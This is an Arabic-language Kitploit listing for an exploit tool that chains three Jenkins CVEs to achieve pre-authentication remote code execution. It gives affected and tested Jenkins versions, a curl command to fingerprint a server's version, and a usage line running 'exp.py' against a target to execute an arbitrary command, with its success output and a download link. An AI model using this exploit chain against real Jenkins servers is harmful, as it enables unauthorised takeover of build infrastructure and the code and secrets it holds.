awesome-jenkins-rce-2019 — لا توجد ثغرة RCE قبل المصادقة في Jenkins منذ مايو 2017، لكن هذه هي! | Kitploit

awesome-jenkins-rce-2019

لا توجد ثغرة RCE قبل المصادقة في Jenkins منذ مايو 2017، لكن هذه هي الثغرة!

إنها تسلسل CVE-2018-1000861 وCVE-2019-1003005 وCVE-2019-1003029 لتحقيق تنفيذ تعليمات برمجية عن بُعد قبل المصادقة بشكل أكثر موثوقية وأناقة!

قائمة التأثر

تعطيل ANONYMOUS_READ
- إصدار Jenkins < 2.138
تفعيل ANONYMOUS_READ (أو مع حساب مستخدم عادي)
- وقت بناء Jenkins < 2019-01-28

الاستخدام

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

تم الاختبار على

Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 with ANONYMOUS_READ enable
Jenkins 2.152 with ANONYMOUS_READ enable
Jenkins 2.153 with ANONYMOUS_READ enable
Script Security Plugin 1.43
Script Security Plugin 1.48

شكر وتقدير

@orange_8361 على CVE-2018-1000861
@0ang3el على CVE-2019-1003005
@webpentest على CVE-2019-1003029

جزء من شرائح محاضرتي في HITB AMS 2019:

المراجع

تنزيل الأداة